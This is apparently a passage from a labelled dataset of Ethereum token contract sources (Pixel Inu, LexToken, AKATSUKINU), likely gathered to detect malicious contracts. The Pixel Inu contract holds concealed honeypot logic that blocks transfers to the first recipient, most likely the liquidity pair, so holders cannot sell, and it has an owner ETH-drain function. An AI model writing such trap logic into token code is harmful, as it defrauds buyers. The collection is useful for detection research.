// call twice to force buy of both reward tokens.
(bool success,) = address(dividendTracker).call{value: ethForRewards}("");
(success,) = address(operationsWallet).call{value: address(this).balance}("");
}
function withdrawStuckEth() external onlyOwner {
(bool success,) = address(msg.sender).call{value: address(this).balance}("");
require(success, "failed to withdraw");
}
function requestToWithdrawLP(uint256 percToWithdraw) external onlyOwner {
require(!lpWithdrawRequestPending, "Cannot request again until first request is over.");
require(percToWithdraw <= 100 && percToWithdraw > 0, "Need to set between 1-100%");
lpWithdrawRequestTimestamp = block.timestamp;
lpWithdrawRequestPending = true;
lpPercToWithDraw = percToWithdraw;
emit RequestedLPWithdraw();
}
function nextAvailableLpWithdrawDate() public view returns (uint256){
if(lpWithdrawRequestPending){
return lpWithdrawRequestTimestamp + lpWithdrawRequestDuration;
}
else {
return 0; // 0 means no open requests
}
}
function withdrawRequestedLP() external onlyOwner {
require(block.timestamp >= nextAvailableLpWithdrawDate() && nextAvailableLpWithdrawDate() > 0, "Must request and wait.");
lpWithdrawRequestTimestamp = 0;
lpWithdrawRequestPending = false;
uint256 amtToWithdraw = IERC20(address(uniswapV2Pair)).balanceOf(address(this)) * lpPercToWithDraw / 100;
lpPercToWithDraw = 0;
IERC20(uniswapV2Pair).transfer(msg.sender, amtToWithdraw);
}
function cancelLPWithdrawRequest() external onlyOwner {
lpWithdrawRequestPending = false;
lpPercToWithDraw = 0;
lpWithdrawRequestTimestamp = 0;
emit CanceledLpWithdrawRequest();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = " PIXU ";
name = "Pixel Inu pixelinu.com";
decimals = 8;
_totalSupply = 1000000 * 10**6 * 10**8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
/**
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
*/
contract PixelInu is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
}
/**
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
*/ | True | [
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/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string details);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata _details) external {
_burn(msg.sender, value);
emit Redeem(_details);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
// SPDX-License-Identifier: Unlicensed
/**
>> >=> >=> >> >===>>=====> >=>>=> >=> >=> >=> >=> >=> >==> >=> >=> >=>
>>=> >=> >=> >>=> >=> >=> >=> >=> >=> >=> >=> >=> >> >=> >=> >=> >=>
>> >=> >=> >=> >> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=>
>=> >=> >>=>> >=> >=> >=> >=> >=> >=> >>=>> >=> >=> >=>>=> >=> >=>
>=====>>=> >=> >=> >=====>>=> >=> >=> >=> >=> >=> >=> >=> >=> > >=> >=> >=>
>=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >>=> >=> >=>
>=> >=> >=> >=> >=> >=> >=> >=>>=> >====> >=> >=> >=> >=> >=> >====>
https://t.me/akatsukinuportal
https://akatsukinu.com
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AKINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "AKATSUKINU";
string private constant _symbol = "AKINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 12;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 25;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xE50B5063E1F5b139D16F4091e30787D834d7b578);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 1e11 * 10**9;
uint256 public _maxWalletSize = 2e11 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 1e11 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 2 minutes) {
require(amount <= _minimumBuyAmount);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
